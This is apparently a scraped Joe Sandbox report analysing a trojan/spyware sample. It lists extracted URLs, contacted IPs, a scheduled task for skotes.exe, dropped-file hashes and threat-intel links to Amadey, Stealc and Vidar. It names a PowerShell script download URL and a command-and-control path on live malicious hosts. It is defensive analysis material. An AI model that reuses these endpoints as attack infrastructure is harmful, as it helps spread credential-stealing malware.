https://monitor.firefox.com/user/preferences	firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	false		high
https://screenshots.firefox.com/	firefox.exe, 00000010.00000003.3048393713.000001A8B6D36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.orgwidget.use-xdg-desktop-portalhttps://truecolors.firefox.comaccount-connec	firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gpuweb.github.io/gpuweb/	firefox.exe, 00000010.00000003.3264652075.000001A8C3148000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 00000010.00000002.3314397385.000001A8B3325000.00000004.00000800.00020000.00000000.sdmp	false		high
https://e.mail.ru/cgi-bin/sentmsg?mailto=%sget	firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	false		high
http://json-schema.org/draft-07/schema#-	firefox.exe, 00000010.00000003.3262271793.000001A8B84F5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	false		high
https://www.wykop.pl/	firefox.exe, 00000010.00000003.3099063952.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235315331.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://vk.com/	firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://amazon.comrward-	firefox.exe, 00000010.00000002.3297704058.0000010530930000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying	firefox.exe, 00000010.00000002.3336679664.000001A8B7240000.00000002.08000000.00040000.00000000.sdmp	false		high
https://spocs.getpocket.com/Endpoint	firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.olx.pl/	firefox.exe, 00000010.00000003.3264282880.000001A8C31B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3099063952.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235315331.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/5124158732/KQGBYWk.ps1XYZ0123456789	skotes.exe, 00000006.00000002.3278202583.00000000009EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://xhr.spec.whatwg.org/#sync-warningThe	firefox.exe, 00000010.00000002.3336679664.000001A8B7240000.00000002.08000000.00040000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod/C:	svchost.exe, 0000000C.00000003.2982483521.00000297488B3000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.12.dr	false		high
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 00000010.00000002.3336679664.000001A8B7240000.00000002.08000000.00040000.00000000.sdmp	false		high
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 00000010.00000002.3336679664.000001A8B7240000.00000002.08000000.00040000.00000000.sdmp	false		high
https://watch.sling.com/	firefox.exe, 00000010.00000002.3339830804.000001A8B7B50000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 00000010.00000003.3093590336.000001A8C3238000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3178058975.000001A8C3235000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/account_S	firefox.exe, 0000000B.00000002.2991420610.0000027D5D6C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/complete/	firefox.exe, 00000010.00000003.3264652075.000001A8C3144000.00000004.00000800.00020000.00000000.sdmp	false		high
https://webextensions.settings.services.mozilla.com/v1	firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	false		high
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts	firefox.exe, 00000010.00000003.3180111409.000001A8C3217000.00000004.00000800.00020000.00000000.sdmp	false		high
https://identity.mozilla.com/apps/oldsync	firefox.exe, 00000010.00000002.3314397385.000001A8B3325000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/firefox/	firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.19.206	youtube-ui.l.google.com	United States	15169	GOOGLEUS	false
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.96.180.189	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.80.110	unknown	United States	15169	GOOGLEUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
172.253.63.84	unknown	United States	15169	GOOGLEUS	false
172.217.19.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
142.250.64.78	unknown	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
23.44.201.23	unknown	United States	20940	AKAMAI-ASN1EU	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
34.120.208.123	telemetry-incoming.r53-2.services.mozilla.com	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
34.107.243.93	push.services.mozilla.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.251.40.163	unknown	United States	15169	GOOGLEUS	false
142.250.72.99	unknown	United States	15169	GOOGLEUS	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
142.251.35.164	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561683
Start date and time:	2024-11-24 04:21:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	34
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@103/297@58/27
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 2.16.149.153, 192.229.221.95, 172.217.19.238, 74.125.205.84, 172.217.21.35, 13.107.42.16, 13.107.21.239, 204.79.197.239, 13.107.6.158, 34.104.35.123, 23.32.238.104, 2.19.198.65, 2.16.158.170, 2.16.158.56, 2.16.158.27, 2.16.158.192, 2.16.158.169, 2.16.158.179, 2.16.158.35, 2.16.158.40, 2.16.158.48, 184.30.17.174, 142.250.181.99, 142.250.181.106, 172.217.19.234, 172.217.21.42, 172.217.19.202, 172.217.19.10, 172.217.17.42, 142.250.181.74, 172.217.17.74, 142.250.181.138, 216.58.208.227, 216.58.208.234, 172.217.19.170, 142.250.181.42, 34.209.229.249, 52.27.142.243, 52.32.237.164, 142.251.32.99, 142.251.40.131
Excluded domains from analysis (whitelisted): config.edge.skype.com.trafficmanager.net, slscr.update.microsoft.com, a416.dscd.akamai.net, incoming.telemetry.mozilla.org, clientservices.googleapis.com, aus5.mozilla.org, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, www.bing.com.edgekey.net, config-edge-skype.l-0007.l-msedge.net, e16604.g.akamaiedge.net, www.gstatic.com, l-0007.l-msedge.net, prod.fs.microsoft.com.akadns.net, config.edge.skype.com, optimizationguide-pa.googleapis.com, www.bing.com, edge-microsoft-com.dual-a-0036.a-msedge.net, fs.microsoft.com, shavar.prod.mozaws.net, accounts.google.com, bingadsedgeextension-prod.trafficmanager.net, bzib.nelreports.net.akamaized.net, content-autofill.googleapis.com, otelrules.azureedge.net, api.edgeoffer.microsoft.com, fonts.gstatic.com, ctldl.windowsupdate.com, b-0005.b-msedge.net, detectportal.prod.mozaws.net, www-www.bing.com.trafficmanag
Execution Graph export aborted for target file.exe, PID 7320 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6768 because it is empty
Execution Graph export aborted for target skotes.exe, PID 7548 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7564 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:21:59	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
22:23:01	API Interceptor	1150x Sleep call for process: skotes.exe modified
22:23:28	API Interceptor	21x Sleep call for process: powershell.exe modified
22:23:32	API Interceptor	2x Sleep call for process: svchost.exe modified
22:23:49	API Interceptor	1x Sleep call for process: firefox.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	2fQ8fpTWAP.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
MICROSOFT-CORP-MSN-AS-BLOCKUS	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	52.178.243.172
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	52.169.151.115
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	51.140.216.20
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	72.147.99.1
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	51.53.14.94
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	21.199.87.5
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	22.64.5.82
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	21.4.17.83
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	40.104.211.100
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
EDGECASTUS	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	152.195.19.97
	https://elizgallery.com/nazvanie.js	Get hash	malicious	Unknown	Browse	192.229.233.34
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	152.195.19.97
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	152.195.19.97
	https://clearview-ps.inwise.net/Page_11-21-2024_1	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	View_alert_details IJPI.html	Get hash	malicious	Unknown	Browse	152.199.21.175
	setup (1).msi	Get hash	malicious	AteraAgent	Browse	152.199.23.209
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	152.195.19.97
	file.exe	Get hash	malicious	Unknown	Browse	152.195.19.97
	http://acsltddocu3.technolutionszzzz.net/	Get hash	malicious	Unknown	Browse	152.199.21.175
MICROSOFT-CORP-MSN-AS-BLOCKUS	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	52.178.243.172
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	52.169.151.115
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	51.140.216.20
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	72.147.99.1
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	51.53.14.94
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	21.199.87.5
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	22.64.5.82
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	21.4.17.83
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	40.104.211.100
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	4yOuoT4GFy.exe	Get hash	malicious	AsyncRAT	Browse	4.175.87.197 13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63
	https://lifetraces.org/spo/priv/auth/login.php	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63
	file.exe	Get hash	malicious	Cryptbot	Browse	4.175.87.197 13.107.246.63
	2fQ8fpTWAP.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	4.175.87.197 13.107.246.63
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307280335187827
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugz:gJjJGtpTq2yv1AuNZRY3diu8iBVqF5
MD5:	9F433100271E2FCE7F8A752D5827A207
SHA1:	2C3B461B55D5B76B24B2E77B4224CA51282EB97D
SHA-256:	D9890340D7707AE52920C37211CB2CDC830977ABF3AE1CF6FA4CAF9B9FFCF9B1
SHA-512:	40F587DE8341866EC714682937D6E35D4EC2CB232A4791BD4DC12C969CF1EDDDB205C018941533F489E51069655C1D6BC8E3235D0E47AFD4406BFDEA0CC27606
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x04cb0a39, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6586016000927306
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:5aza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	5F5EC416148BAA128B6B328500FC6C42
SHA1:	A6D731776EA0AD7E1CCD08E444EEFD0BCD1BCC49
SHA-256:	2A242E1457F43C165A8F3C5D86B9609F941FE8A4B695D75ABF310A52B523190F
SHA-512:	834C1340D85FD19786247D04CE65FCDC606BB28BC20FD51139974BF5E6EA938AA439598F5CB97835F34BA86A3DA7670B7B2652A5FF6D74D86CB1BCC5EB5B051E
Malicious:	false
Preview:	...9... ...............X\...;...{......................0.z..........{.. ....\|q.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................!(. ....\|5..................*.y ....\|...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08080842158435073
Encrypted:	false
SSDEEP:	3:0Em/lyYeyewRekGuAJkhvekl1acImJXAllrekGltll/SPj:9mUzMRtrxlgSJXAJe3l
MD5:	296AEDEEAB5C010AA388D4D07D629463
SHA1:	789DA308B6626AB8FEF8526637673F38DAA6CD5A
SHA-256:	975111DF44EAE57D099EEB1FA32546ABF03BF9A9C3417DFC72871D44069DDC14
SHA-512:	BE5DBA7A3BE703FA0DBD5EFB02AC2D0D78DF679875227EA66BB5BE9AD5A2AE0D5E7C0CE8AF06AA21C27B1EFD91E162AD2ADAE8F0CCB0454A0FC7F637A5AE49B2
Malicious:	false
Preview:	..1......................................;...{.. ....\|.......{...............{.......{...XL......{...................*.y ....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2836f5c5-acc0-4f09-9a22-73355d2dc1a0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45895
Entropy (8bit):	6.089444197982581
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQc5d9gm02jhDO6vP6OTWrLu6bvhxBYyyDIQmxgRCAo4Goup1Xl3jVo:mMk1rT8H19gms6zWrivIQ9Ro4hu3VlXk
MD5:	3C63179E5AF163FAF1DA3195BCAA60C2
SHA1:	B8350AAA3D7BBFD55B6566E5BB4E9CE1B88534EB
SHA-256:	FF883368D44D47E153D1CFFDD7C2AF554D403A94ABE7BD8E3FBF77E81A076BEF
SHA-512:	938F81E2D867950752472EBE769EC3BA982FCB75BB055100ACAAFE8560FDF27D6CF6EFFE7FB8CDC24BF4F17FD164D5D43E6EC7407EE75D1E256EBFCD25A9EDD8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6911009d-db47-49b0-8cb5-0e1cd7352796.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
